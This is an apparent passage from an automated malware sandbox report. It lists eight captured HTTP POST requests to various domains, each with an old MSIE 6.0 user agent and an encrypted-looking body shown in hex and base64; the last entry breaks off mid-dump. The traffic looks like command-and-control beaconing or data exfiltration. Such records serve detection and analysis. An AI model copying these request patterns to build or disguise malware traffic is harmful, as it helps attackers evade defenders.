Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vazir.seCache-Control: no-cacheCookie: snkz=173.254.250.81; btst=5d3dcc97c0c1a425f99b0cbaf502b030\|173.254.250.81\|1729847855\|1729847855\|0\|1\|0Data Raw: 55 72 47 6c 78 48 6f 4e 67 56 62 61 48 51 78 6a 48 54 35 46 58 62 33 6b 43 61 7a 71 2b 6a 70 7a 54 71 2f 6c 78 66 72 77 65 51 6f 59 47 2f 43 4d 44 38 6e 63 4b 38 75 4b 32 35 62 5a 48 4b 51 39 48 59 4c 49 53 64 2b 34 7a 48 78 53 33 74 6b 39 7a 76 62 56 4f 30 44 36 33 72 64 56 75 51 2f 36 70 74 5a 41 67 59 78 4a 4b 69 70 45 37 47 53 47 6d 6d 70 37 65 53 31 4c 66 37 32 70 54 4a 66 4e 59 73 36 71 6b 2b 36 71 55 46 77 57 54 73 47 55 33 79 45 2b 67 79 67 67 54 59 43 6e 48 4b 4b 4f 6b 78 67 57 54 61 58 4f 52 38 6d 6e 47 34 4a 61 67 31 50 7a 7a 6c 78 65 58 68 53 63 45 5a 4a 4b 53 70 62 68 43 54 78 38 71 4b 41 38 48 71 51 7a 48 76 71 37 7a 74 77 72 41 42 50 36 69 56 49 34 54 37 46 44 38 74 67 51 39 72 39 6a 30 42 39 69 4d 47 6a 35 4a 73 42 31 46 6b 72 52 4e 6a 4c 73 36 77 6b 58 73 6b 73 6c 56 4b 6f 2b 6e 4e 43 63 4d 79 69 59 6f 42 4f 6c 6a 6a 67 59 76 64 5a 54 4b 48 48 58 2b 53 55 6c 62 34 42 31 75 61 37 43 50 67 46 73 39 2b 63 4d 52 64 6a 73 61 6b 42 6b 44 32 6e 65 32 70 69 75 64 41 5a 6d 33 31 59 7a 39 47 37 33 62 6e 4a 46 4e 53 4c 4d 4c 49 4f 43 6a 52 51 6b 72 6c 67 77 53 39 52 33 6c 7a 69 41 6b 65 48 46 79 49 74 4e 34 56 2b 64 4a 77 47 32 5a 47 48 5a 61 38 55 4f 36 39 70 57 67 6d 69 34 78 53 67 64 4e 44 50 32 52 72 37 4d 59 53 47 2f 68 64 75 65 42 30 56 71 69 69 30 68 70 51 53 6f 70 72 2b 43 2f 4d 63 55 37 74 4f 4a 50 4f 65 71 61 41 37 6b 4e 6d 53 70 4f 44 54 4c 73 55 30 4b 34 56 35 6d 67 76 38 2f 35 52 48 2f 45 37 55 4f 7a 78 38 61 51 72 7a 44 54 4e 37 2b 31 4f 2b 4c 42 47 58 6f 6e 77 63 79 64 2b 36 55 6d 30 51 61 61 77 4e 33 47 77 4f 37 39 68 6f 64 6d 4f 57 73 56 76 50 45 78 70 6c 34 4b 4d 50 44 74 6d 6d 34 75 54 42 74 4d 63 4f 54 53 4c 61 68 64 61 6f 3d Data Ascii: UrGlxHoNgVbaHQxjHT5FXb3kCazq+jpzTq/lxfrweQoYG/CMD8ncK8uK25bZHKQ9HYLISd+4zHxS3tk9zvbVO0D63rdVuQ/6ptZAgYxJKipE7GSGmmp7eS1Lf72pTJfNYs6qk+6qUFwWTsGU3yE+gyggTYCnHKKOkxgWTaXOR8mnG4Jag1PzzlxeXhScEZJKSpbhCTx8qKA8HqQzHvq7ztwrABP6iVI4T7FD8tgQ9r9j0B9iMGj5JsB1FkrRNjLs6wkXskslVKo+nNCcMyiYoBOljjgYvdZTKHHX+SUlb4B1ua7CPgFs9+cMRdjsakBkD2ne2piudAZm31Yz9G73bnJFNSLMLIOCjRQkrlgwS9R3lziAkeHFyItN4V+dJwG2ZGHZa8UO69pWgmi4xSgdNDP2Rr7MYSG/hdueB0Vqii0hpQSopr+C/McU7tOJPOeqaA7kNmSpODTLsU0K4V5mgv8/5RH/E7UOzx8aQrzDTN7+1O+LBGXonwcyd+6Um0QaawN3GwO79hodmOWsVvPExpl4KMPDtmm4uTBtMcOTSLahdao=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nelipak.nlCache-Control: no-cacheData Raw: 6f 44 31 68 58 42 74 4c 6a 6c 59 50 57 65 53 56 4d 6f 55 34 71 51 52 77 4a 57 6d 68 30 30 43 68 66 35 34 61 69 70 46 72 58 48 75 54 50 55 6b 7a 49 2f 57 4b 49 62 6f 6d 66 5a 6b 51 59 61 79 31 37 6b 6c 6a 45 61 58 68 66 54 39 36 49 2b 2f 66 6e 4c 4a 32 43 57 30 61 50 6e 70 6d 6a 52 72 61 63 59 4d 45 48 53 75 4a 42 48 6b 72 79 63 54 49 71 4f 36 59 4a 32 4e 2f 42 2f 41 75 39 6d 75 6b 48 57 50 73 35 46 64 39 67 61 38 75 4e 78 51 79 50 71 4e 71 74 2f 57 47 41 4f 74 75 50 65 4e 41 55 36 61 70 41 6b 2b 4e 65 6e 37 6f 58 37 30 64 66 51 36 63 76 46 5a 47 4f 78 74 6f 35 34 58 62 62 52 7a 68 69 52 46 33 34 74 42 47 7a 2f 53 4a 47 4a 45 4e 61 2f 48 72 38 42 4f 62 72 51 70 5a 57 34 5a 71 56 55 42 72 2f 6c 48 6c 58 74 38 51 63 59 70 32 62 73 54 68 52 52 65 6f 41 77 73 6f 35 6b 74 4f 53 47 79 54 42 46 6a 47 42 39 7a 57 64 75 7a 70 59 46 4d 45 76 31 2f 50 4e 58 4f 2b 39 62 67 37 66 47 61 39 6a 63 44 48 46 50 71 78 51 50 44 30 4b 58 64 63 74 70 58 38 51 6e 70 2f 39 50 35 64 47 52 50 48 43 63 45 50 58 5a 69 53 5a 6c 46 6b 42 48 39 70 65 34 68 62 6f 71 6d 4d 75 50 5a 48 56 47 58 46 37 79 4e 72 56 4d 54 69 39 2f 2b 64 4e 33 54 6c 61 74 38 78 4d 6c 44 50 41 46 79 52 42 57 45 4e 78 65 78 71 46 6a 68 2f 31 79 35 30 4d 73 39 6a 34 49 6d 46 38 69 36 49 2f 45 42 39 62 71 45 73 71 39 64 63 57 57 63 72 6e 45 39 6a 49 36 2b 74 77 56 6f 30 35 4a 35 42 64 43 2b 2f 71 4b 56 47 47 33 53 69 6e 4a 6d 62 5a 61 35 6d 36 71 46 38 72 47 69 55 75 74 50 65 79 65 72 66 49 66 45 2f 37 47 4f 4e 49 52 39 6b 63 75 70 34 37 51 47 6d 32 76 47 55 57 38 76 6b 4c 55 68 38 7a 43 54 58 46 32 76 6b 78 53 30 52 35 52 4a 43 37 49 2f 48 69 2b 45 32 5a 78 67 3d Data Ascii: oD1hXBtLjlYPWeSVMoU4qQRwJWmh00Chf54aipFrXHuTPUkzI/WKIbomfZkQYay17kljEaXhfT96I+/fnLJ2CW0aPnpmjRracYMEHSuJBHkrycTIqO6YJ2N/B/Au9mukHWPs5Fd9ga8uNxQyPqNqt/WGAOtuPeNAU6apAk+Nen7oX70dfQ6cvFZGOxto54XbbRzhiRF34tBGz/SJGJENa/Hr8BObrQpZW4ZqVUBr/lHlXt8QcYp2bsThRReoAwso5ktOSGyTBFjGB9zWduzpYFMEv1/PNXO+9bg7fGa9jcDHFPqxQPD0KXdctpX8Qnp/9P5dGRPHCcEPXZiSZlFkBH9pe4hboqmMuPZHVGXF7yNrVMTi9/+dN3Tlat8xMlDPAFyRBWENxexqFjh/1y50Ms9j4ImF8i6I/EB9bqEsq9dcWWcrnE9jI6+twVo05J5BdC+/qKVGG3SinJmbZa5m6qF8rGiUutPeyerfIfE/7GONIR9kcup47QGm2vGUW8vkLUh8zCTXF2vkxS0R5RJC7I/Hi+E2Zxg=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.nunomira.comCache-Control: no-cacheData Raw: 46 53 69 57 72 38 6a 72 4a 46 5a 75 36 43 31 42 43 35 7a 49 57 44 75 79 4b 2f 5a 51 61 6f 68 61 66 50 4d 73 51 46 5a 31 33 46 57 5a 45 59 4d 2f 4c 55 2f 44 7a 32 5a 5a 4d 70 32 69 35 79 51 63 66 6e 6b 6f 32 41 76 68 56 67 56 79 6c 31 46 47 7a 72 4b 4f 32 6e 51 63 36 61 69 79 58 59 30 6b 4e 36 75 75 66 37 70 57 48 45 6c 61 39 79 52 30 53 4b 48 6a 35 65 2f 78 49 38 67 4b 62 62 69 51 34 77 4d 72 64 38 4d 41 70 57 4e 78 32 70 6f 53 41 79 61 36 63 41 64 45 51 57 32 77 51 78 77 58 6d 7a 74 78 6a 50 78 65 70 51 58 68 70 55 71 74 61 56 4a 4d 6b 59 55 65 4a 41 6a 4e 32 46 52 44 5a 70 49 68 7a 67 33 62 4d 45 6a 2f 43 6a 66 6b 44 74 45 46 74 64 32 57 46 4d 32 56 55 2b 4a 6a 77 38 48 4c 69 67 2f 6c 58 64 50 57 42 59 69 4a 77 68 41 39 46 61 49 6e 32 54 5a 30 6c 45 57 38 78 6a 73 70 46 70 39 61 76 68 6b 72 33 68 51 35 2f 76 5a 7a 4b 6b 5a 57 44 71 35 37 75 71 33 79 33 36 63 79 5a 30 74 6b 52 2f 4e 41 58 79 4b 5a 52 64 75 70 35 47 5a 55 41 53 68 76 44 56 63 71 36 61 44 6f 4f 50 66 30 59 4a 68 41 61 79 71 45 4c 77 75 48 57 56 36 46 75 68 52 31 75 4d 57 68 54 4f 4c 31 6c 46 70 2b 46 49 30 63 66 76 74 77 37 63 4c 55 63 6f 74 52 4d 4d 43 66 70 48 46 6d 32 4f 7a 31 73 2f 4b 38 34 44 54 64 4b 61 4d 6f 2b 31 4a 75 52 46 48 76 4e 38 54 37 69 4d 56 78 54 68 78 72 42 48 66 44 45 6b 35 6c 65 41 66 47 52 5a 49 39 50 74 74 42 2f 36 57 6e 55 32 67 4c 6a 36 76 53 6a 74 58 4f 39 36 58 57 6e 6f 4c 56 6a 62 54 58 4b 58 62 51 30 6c 55 44 4b 4e 74 62 51 6c 67 34 69 6b 52 4f 33 4e 78 68 2b 64 50 57 4b 4c 71 30 62 64 39 31 41 4c 6e 49 64 31 39 34 6a 59 57 69 53 43 64 55 56 6b 79 68 41 42 59 70 77 69 69 6e 45 45 62 47 4c 7a 46 47 75 76 46 65 72 63 77 63 4a 76 6c 43 41 4e 69 53 59 74 66 4a 6e 5a 79 4e 54 61 6d 78 73 78 4a 44 63 52 76 4f 39 42 52 32 68 47 4c 4d 79 4d 56 56 41 56 76 73 6f 78 75 4a Data Ascii: FSiWr8jrJFZu6C1BC5zIWDuyK/ZQaohafPMsQFZ13FWZEYM/LU/Dz2ZZMp2i5yQcfnko2AvhVgVyl1FGzrKO2nQc6aiyXY0kN6uuf7pWHEla9yR0SKHj5e/xI8gKbbiQ4wMrd8MApWNx2poSAya6cAdEQW2wQxwXmztxjPxepQXhpUqtaVJMkYUeJAjN2FRDZpIhzg3bMEj/CjfkDtEFtd2WFM2VU+Jjw8HLig/lXdPWBYiJwhA9FaIn2TZ0lEW8xjspFp9avhkr3hQ5/vZzKkZWDq57uq3y36cyZ0tkR/NAXyKZRdup5GZUAShvDVcq6aDoOPf0YJhAayqELwuHWV6FuhR1uMWhTOL1lFp+FI0cfvtw7cLUcotRMMCfpHFm2Oz1s/K84DTdKaMo+1JuRFHvN8T7iMVxThxrBHfDEk5leAfGRZI9PttB/6WnU2gLj6vSjtXO96XWnoLVjbTXKXbQ0lUDKNtbQlg4ikRO3Nxh+dPWKLq0bd91ALnId194jYWiSCdUVkyhABYpwiinEEbGLzFGuvFercwcJvlCANiSYtfJnZyNTamxsxJDcRvO9BR2hGLMyMVVAVvsoxuJ
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 4b 79 6c 45 32 52 4e 4b 71 31 62 4f 45 53 65 76 32 6b 69 41 48 72 7a 68 4b 76 62 35 75 63 34 51 39 38 6a 51 2f 2f 41 35 44 69 55 35 68 34 2b 74 75 52 63 69 5a 43 55 61 62 36 62 34 6d 77 63 63 6c 79 48 36 67 53 4e 44 77 64 6a 78 2b 77 51 49 43 72 30 4b 72 49 4d 65 6d 62 42 59 4a 48 71 4f 45 72 6e 65 43 46 30 4d 70 4f 54 5a 2f 32 38 74 66 4b 44 6c 73 73 57 37 56 43 59 56 54 52 45 39 73 69 63 73 67 38 39 76 53 43 32 6b 67 63 6e 6a 54 70 36 63 76 4b 43 51 30 71 42 52 4d 4d 4b 4a 2b 73 4f 58 4c 68 45 74 30 37 71 6f 70 72 6a 72 69 39 59 2f 71 4b 48 4f 34 53 58 79 49 34 33 76 75 4d 39 76 4f 2b 50 30 77 57 2f 4e 76 71 53 39 73 30 73 30 67 37 4c 37 75 31 71 76 56 52 41 5a 31 73 63 6e 67 7a 72 78 31 51 39 4c 76 76 33 34 32 51 34 67 2b 31 46 68 62 34 4a 67 47 61 77 67 72 6f 69 34 71 35 54 38 64 6e 4e 39 49 7a 41 57 75 4d 4b 6a 4f 64 74 39 4a 79 57 41 66 2f 6d 67 79 77 41 74 52 55 66 79 66 48 6f 6a 52 31 58 61 37 6c 39 66 58 46 41 61 4d 77 77 30 6b 36 6e 66 30 43 48 52 49 58 72 58 4a 33 6e 46 74 54 4c 77 74 48 6f 62 59 50 4c 43 50 49 6e 79 75 79 47 45 4f 37 48 51 4d 66 48 31 39 31 52 68 48 57 48 74 65 7a 47 6b 55 61 33 73 64 70 33 4b 7a 77 34 79 6e 78 61 7a 4f 4a 33 44 78 79 52 34 45 57 67 51 36 78 73 6f 33 2b 65 45 48 33 68 74 55 48 58 72 6d 44 39 5a 61 48 50 49 4b 41 56 4d 75 79 70 49 39 55 64 72 39 70 30 73 64 38 71 69 6b 6f 69 61 4b 54 6b 73 71 61 41 6a 33 6c 38 56 2b 51 38 62 38 44 36 56 37 6c 34 7a 6d 61 43 5a 47 6e 53 61 32 4e 6c 75 75 2f 58 6d 50 41 6a 72 59 39 73 72 63 68 7a 62 65 55 46 6e 2b 4e 48 4e 4a 4c 55 57 33 38 42 78 44 78 56 4d 44 4a 2f 36 72 50 6e 4a 61 32 72 59 50 62 58 6f 61 6b 68 4e 2b 59 38 53 44 42 6b 6c 4b 35 69 4c 54 7a 2b 33 6a 62 4d 42 31 77 5a 73 78 36 48 46 43 33 35 47 66 55 56 54 6d 5a 4a 46 6b 35 6b 39 Data Ascii: KylE2RNKq1bOESev2kiAHrzhKvb5uc4Q98jQ//A5DiU5h4+tuRciZCUab6b4mwcclyH6gSNDwdjx+wQICr0KrIMembBYJHqOErneCF0MpOTZ/28tfKDlssW7VCYVTRE9sicsg89vSC2kgcnjTp6cvKCQ0qBRMMKJ+sOXLhEt07qoprjri9Y/qKHO4SXyI43vuM9vO+P0wW/NvqS9s0s0g7L7u1qvVRAZ1scngzrx1Q9Lvv342Q4g+1Fhb4JgGawgroi4q5T8dnN9IzAWuMKjOdt9JyWAf/mgywAtRUfyfHojR1Xa7l9fXFAaMww0k6nf0CHRIXrXJ3nFtTLwtHobYPLCPInyuyGEO7HQMfH191RhHWHtezGkUa3sdp3Kzw4ynxazOJ3DxyR4EWgQ6xso3+eEH3htUHXrmD9ZaHPIKAVMuypI9Udr9p0sd8qikoiaKTksqaAj3l8V+Q8b8D6V7l4zmaCZGnSa2Nluu/XmPAjrY9srchzbeUFn+NHNJLUW38BxDxVMDJ/6rPnJa2rYPbXoakhN+Y8SDBklK5iLTz+3jbMB1wZsx6HFC35GfUVTmZJFk5k9
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.petsfan.comCache-Control: no-cacheData Raw: 65 4d 4a 6a 5a 32 6b 78 74 41 73 70 74 42 4d 54 4f 45 75 47 63 34 4b 42 2f 67 41 48 75 34 79 4a 72 61 70 41 38 44 41 4f 73 51 2f 6f 75 45 36 6d 6c 78 6d 32 62 4c 47 74 61 7a 31 55 38 4b 76 4b 37 4f 35 36 44 59 42 2f 4c 6d 4e 72 43 35 63 49 48 6e 4b 63 4c 70 38 6d 5a 65 37 32 77 4c 74 38 58 42 45 76 31 64 6e 6d 79 4b 79 52 2f 31 64 4c 2f 31 47 71 43 6b 72 4b 55 64 35 68 6d 52 6c 33 38 59 50 6f 49 41 30 74 46 2f 76 4d 62 64 51 6a 73 59 58 4b 37 58 55 74 58 7a 65 50 6e 71 66 67 54 53 56 6e 39 66 5a 63 64 50 58 42 55 52 61 6c 79 75 6a 78 46 62 6b 5a 63 51 30 2b 38 6c 4f 79 39 42 55 48 62 57 30 70 34 35 72 4a 45 49 46 69 6c 72 74 69 50 4a 55 42 45 31 31 4b 78 66 34 47 75 70 2b 79 43 51 51 6b 43 71 56 47 2b 70 77 50 73 67 59 49 2f 34 67 30 51 51 7a 30 49 65 4d 31 38 78 56 64 35 78 55 53 52 71 49 6c 34 58 73 74 59 34 38 55 2b 4c 42 74 49 62 68 4d 57 67 74 58 73 6a 36 32 64 49 68 46 4b 31 46 35 6f 65 4e 4c 47 55 42 54 52 4d 75 68 4c 32 66 73 55 49 47 33 4f 64 34 55 6e 4a 41 75 41 77 64 69 72 6c 77 65 32 77 79 6d 34 30 52 54 76 56 73 56 48 6d 6c 32 74 74 4c 76 2f 53 65 39 4e 46 4a 43 78 57 45 71 41 70 57 43 68 68 6d 52 6f 6a 4a 6b 77 6e 4b 65 67 69 2f 75 53 6f 47 47 76 52 59 62 49 47 2f 36 55 64 54 34 45 43 47 43 52 62 77 30 4c 6e 38 65 73 4d 4b 38 31 7a 7a 38 78 56 53 6b 6f 4a 76 42 66 4e 45 54 48 66 62 61 6c 67 78 58 64 4b 62 68 76 65 66 52 41 6d 61 4c 47 2f 7a 46 43 48 44 64 47 6d 59 33 64 64 2b 6d 35 37 30 2f 70 4f 58 4e 61 4d 74 70 79 6b 56 30 31 78 32 32 52 45 66 67 38 6e 47 37 70 42 61 4e 74 62 34 68 64 75 35 45 35 37 6d 4c 33 4e 4d 53 70 65 6c 50 47 44 6a 76 77 70 39 49 44 33 48 38 6b 65 70 56 56 32 48 63 54 46 67 44 4c 77 43 2f 7a 64 73 73 43 58 6b 36 6a 4b 51 69 78 32 74 4c 7a 43 5a 4b 67 45 65 39 43 50 2f 6c 53 5a 58 30 48 45 59 3d Data Ascii: eMJjZ2kxtAsptBMTOEuGc4KB/gAHu4yJrapA8DAOsQ/ouE6mlxm2bLGtaz1U8KvK7O56DYB/LmNrC5cIHnKcLp8mZe72wLt8XBEv1dnmyKyR/1dL/1GqCkrKUd5hmRl38YPoIA0tF/vMbdQjsYXK7XUtXzePnqfgTSVn9fZcdPXBURalyujxFbkZcQ0+8lOy9BUHbW0p45rJEIFilrtiPJUBE11Kxf4Gup+yCQQkCqVG+pwPsgYI/4g0QQz0IeM18xVd5xUSRqIl4XstY48U+LBtIbhMWgtXsj62dIhFK1F5oeNLGUBTRMuhL2fsUIG3Od4UnJAuAwdirlwe2wym40RTvVsVHml2ttLv/Se9NFJCxWEqApWChhmRojJkwnKegi/uSoGGvRYbIG/6UdT4ECGCRbw0Ln8esMK81zz8xVSkoJvBfNETHfbalgxXdKbhvefRAmaLG/zFCHDdGmY3dd+m570/pOXNaMtpykV01x22REfg8nG7pBaNtb4hdu5E57mL3NMSpelPGDjvwp9ID3H8kepVV2HcTFgDLwC/zdssCXk6jKQix2tLzCZKgEe9CP/lSZX0HEY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.synetik.netCache-Control: no-cacheData Raw: 32 73 73 32 79 34 41 6c 73 31 62 69 52 51 51 61 55 39 72 34 72 62 50 6f 44 5a 6c 6f 6f 67 68 35 74 4c 54 49 70 75 68 75 4f 57 6a 2f 59 70 36 51 73 4a 43 71 4b 79 4d 31 38 70 45 4d 47 6c 4b 41 71 69 6b 6b 72 36 62 6f 59 69 70 67 62 6b 78 51 30 68 4a 51 2b 77 67 33 37 41 7a 59 31 4c 36 36 6d 78 6a 34 42 57 43 69 65 6d 65 41 6c 76 6c 5a 7a 6f 54 42 6e 75 51 41 76 6f 5a 47 4b 4f 6d 2f 62 2f 6b 4b 6b 6e 47 6c 6b 69 44 76 56 35 6d 42 32 6e 66 76 66 6b 33 33 6b 4a 37 37 32 46 30 61 63 6f 33 4b 76 6c 6f 41 4e 74 61 48 57 48 45 63 30 55 76 30 65 65 57 2b 75 37 66 7a 71 52 44 36 62 48 41 52 48 6f 59 6c 70 78 2f 49 49 50 30 5a 34 45 72 39 79 73 6f 4b 4a 73 59 4e 30 6c 71 2f 32 4d 74 54 57 45 6d 64 4f 2b 71 38 69 76 52 50 2b 49 54 32 4c 64 50 5a 61 5a 37 6f 48 78 30 71 70 59 7a 53 51 47 6f 35 2f 2b 54 7a 47 38 2f 4a 76 68 6e 6c 52 4e 41 76 68 52 37 69 2f 36 55 39 46 2b 30 49 62 4b 35 56 38 79 58 54 74 7a 62 36 77 45 44 49 55 6f 6e 55 75 7a 71 62 6e 77 45 69 74 75 42 6c 74 76 35 58 62 31 47 4f 6d 69 51 77 75 4f 53 66 42 59 56 5a 5a 41 58 44 4c 59 72 41 47 48 35 58 53 33 48 69 34 75 5a 53 30 79 69 30 70 41 59 54 32 31 52 4a 4d 4e 64 45 4d 46 54 77 36 31 46 52 55 39 50 6d 71 30 76 61 71 54 67 64 65 4d 76 47 32 30 58 52 59 68 37 53 72 78 79 73 34 42 69 2f 66 71 30 32 6e 6e 61 74 4c 51 67 39 53 30 51 6b 51 74 47 77 75 44 77 47 48 36 48 78 64 46 53 4a 57 33 6f 64 4e 44 7a 31 71 46 35 50 4f 50 46 71 68 79 4a 38 45 37 68 4c 43 4d 77 43 32 74 6a 42 46 4a 31 66 55 70 75 6b 77 57 68 56 2b 49 72 4d 79 71 61 34 52 67 4e 53 6c 42 6a 5a 6b 43 74 36 6f 63 2f 54 53 4a 78 58 72 4c 36 51 51 41 6f 30 43 67 72 53 31 6b 4b 53 43 51 53 51 72 4d 61 47 55 74 73 6a 2f 43 50 70 39 73 64 6a 43 2f 72 65 30 4b 74 69 5a 35 59 6d 6c 62 4f 35 2b 75 4e 43 Data Ascii: 2ss2y4Als1biRQQaU9r4rbPoDZloogh5tLTIpuhuOWj/Yp6QsJCqKyM18pEMGlKAqikkr6boYipgbkxQ0hJQ+wg37AzY1L66mxj4BWCiemeAlvlZzoTBnuQAvoZGKOm/b/kKknGlkiDvV5mB2nfvfk33kJ772F0aco3KvloANtaHWHEc0Uv0eeW+u7fzqRD6bHARHoYlpx/IIP0Z4Er9ysoKJsYN0lq/2MtTWEmdO+q8ivRP+IT2LdPZaZ7oHx0qpYzSQGo5/+TzG8/JvhnlRNAvhR7i/6U9F+0IbK5V8yXTtzb6wEDIUonUuzqbnwEituBltv5Xb1GOmiQwuOSfBYVZZAXDLYrAGH5XS3Hi4uZS0yi0pAYT21RJMNdEMFTw61FRU9Pmq0vaqTgdeMvG20XRYh7Srxys4Bi/fq02nnatLQg9S0QkQtGwuDwGH6HxdFSJW3odNDz1qF5POPFqhyJ8E7hLCMwC2tjBFJ1fUpukwWhV+IrMyqa4RgNSlBjZkCt6oc/TSJxXrL6QQAo0CgrS1kKSCQSQrMaGUtsj/CPp9sdjC/re0KtiZ5YmlbO5+uNC
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 57 53 4a 66 69 57 68 53 75 56 59 52 46 68 70 39 4b 35 4c 56 68 74 76 74 42 49 42 77 6c 59 6b 67 48 48 78 30 6e 75 6d 39 77 68 75 4e 63 6b 61 7a 59 4f 52 38 55 4e 31 6b 75 65 56 45 4a 48 74 49 38 30 47 6f 4d 67 42 66 66 68 36 32 42 42 57 76 7a 42 68 79 31 54 47 78 2f 63 33 72 72 38 46 50 63 70 73 39 4d 76 43 43 33 44 6e 7a 50 4d 6c 31 35 56 75 73 39 69 4d 45 4c 4e 38 4b 79 44 48 69 45 6e 67 78 72 33 35 6f 37 71 65 2b 73 4c 35 4c 39 58 6f 32 30 56 6e 36 58 78 4a 4b 4f 56 47 49 33 7a 6c 62 61 45 2b 4d 70 47 6c 39 4a 4d 58 44 53 43 65 36 35 46 5a 62 51 61 4c 69 75 2b 74 77 6a 4a 46 6f 4d 71 71 66 6c 35 4c 74 59 54 57 41 6d 62 34 69 55 53 6d 64 70 30 35 79 2f 55 63 66 70 67 48 39 59 4c 49 53 36 4e 44 69 65 68 44 68 67 48 2b 49 37 75 4f 6e 30 30 4b 78 4f 6a 4f 77 41 35 63 70 4d 2b 4b 54 35 57 7a 42 39 59 32 61 79 4a 4b 75 59 48 68 4d 78 55 2f 4b 68 42 42 4a 4e 64 72 6d 4e 6d 64 6d 43 57 38 34 78 57 30 44 2f 4c 71 46 6f 6f 6c 67 2b 78 46 63 48 37 31 52 39 5a 6c 46 2b 4f 4c 6f 43 35 5a 4d 6f 30 46 44 4b 50 7a 7a 54 71 62 79 30 6c 4c 41 34 38 50 64 43 4e 54 51 59 47 76 70 4f 5a 54 63 51 32 2b 79 55 6f 7a 30 7a 59 56 69 30 59 6b 50 4f 33 70 59 37 46 70 4d 63 48 6d 4d 5a 49 4f 67 69 57 64 4f 63 68 62 39 55 37 6b 65 6c 64 77 39 52 32 79 6e 52 61 57 78 4e 71 33 64 65 73 41 4c 62 69 6e 54 58 36 55 49 33 5a 42 34 2b 4d 58 61 46 36 7a 74 4d 56 72 74 37 4d 68 59 44 33 54 70 76 71 7a 66 55 2b 54 4a 41 31 6e 75 36 59 62 6b 30 77 57 71 6f 69 6a 72 79 68 62 59 59 44 6f 39 5a 62 39 66 6e 5a 6a 51 75 31 78 48 67 36 45 41 59 74 7a 4e 73 53 55 4d 43 62 35 54 74 34 49 30 46 54 45 54 65 6b 30 70 5a 66 45 4c 30 67 56 46 5a 69 49 3d Data Ascii: WSJfiWhSuVYRFhp9K5LVhtvtBIBwlYkgHHx0num9whuNckazYOR8UN1kueVEJHtI80GoMgBffh62BBWvzBhy1TGx/c3rr8FPcps9MvCC3DnzPMl15Vus9iMELN8KyDHiEngxr35o7qe+sL5L9Xo20Vn6XxJKOVGI3zlbaE+MpGl9JMXDSCe65FZbQaLiu+twjJFoMqqfl5LtYTWAmb4iUSmdp05y/UcfpgH9YLIS6NDiehDhgH+I7uOn00KxOjOwA5cpM+KT5WzB9Y2ayJKuYHhMxU/KhBBJNdrmNmdmCW84xW0D/LqFoolg+xFcH71R9ZlF+OLoC5ZMo0FDKPzzTqby0lLA48PdCNTQYGvpOZTcQ2+yUoz0zYVi0YkPO3pY7FpMcHmMZIOgiWdOchb9U7keldw9R2ynRaWxNq3desALbinTX6UI3ZB4+MXaF6ztMVrt7MhYD3TpvqzfU+TJA1nu6Ybk0wWqoijryhbYYDo9Zb9fnZjQu1xHg6EAYtzNsSUMCb5Tt4I0FTETek0pZfEL0gVFZiI=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.rs-ag.comCache-Control: no-cacheData Raw: 43 4f 77 52 45 6f 4e 4e 34 77 74 69 71 35 6e 6f 69 68 57 6e 2b 61 78 71 34 59 6b 70 57 6e 74 46 5a 38 75 55 76 7a 59 6b 34 4e 70 41 77 57 31 4d 42 52 4a 50 76 48 50 2f 7a 39 58 65 2f 77 30 58 6e 69 30 48 69 31 36 64 51 4e 31 54 6a 47 4e 32 62 4e 61 42 77 41 5a 73 71 30 44 75 30 41 45 54 39 44 61 35 31 76 49 66 59 70 4d 31 68 37 6a 76 51 68 63 6b 64 37 2f 6f 47 6e 68 4b 7a 58 42 47 76 4e 33 55 45 61 33 6c 36 31 47 74 45 6b 52 49 34 63 41 61 45 58 4a 65 42 6b 4a 33 70 4a 49 77 59 35 6c 31 56 42 2b 50 5a 34 34 39 44 76 6e 30 4c 52 72 31 49 4e 34 7a 53 38 45 6a 77 53 6d 6d 4b 64 59 51 53 63 36 30 59 6e 7a 44 33 73 42 47 4e 43 62 30 55 2f 4c 52 53 62 32 43 57 4c 36 73 6b 7a 73 45 70 54 4a 5a 48 72 46 4f 32 31 4e 41 45 6f 6f 75 4d 32 5a 4d 42 55 4c 2f 51 32 32 67 33 6c 6c 53 63 56 48 56 6f 50 44 38 37 67 6d 37 45 31 30 30 4e 38 55 36 66 41 33 77 79 7a 6f 4b 34 77 6e 77 68 57 56 6d 47 58 53 35 30 5a 66 4f 36 2f 49 62 61 48 4b 73 57 35 4f 75 59 7a 62 54 70 35 54 38 65 4f 57 36 67 42 5a 37 4e 6a 67 54 45 58 44 32 74 57 71 4a 2b 4a 43 34 73 30 6c 53 6d 45 58 78 66 43 76 6f 66 39 61 64 46 42 58 6b 6d 66 79 73 6a 50 42 38 6b 4b 67 50 59 73 72 73 6b 57 45 6f 46 33 47 30 76 6e 64 52 39 72 75 78 50 4e 4f 76 35 52 41 75 71 78 56 30 31 6f 56 68 38 54 62 55 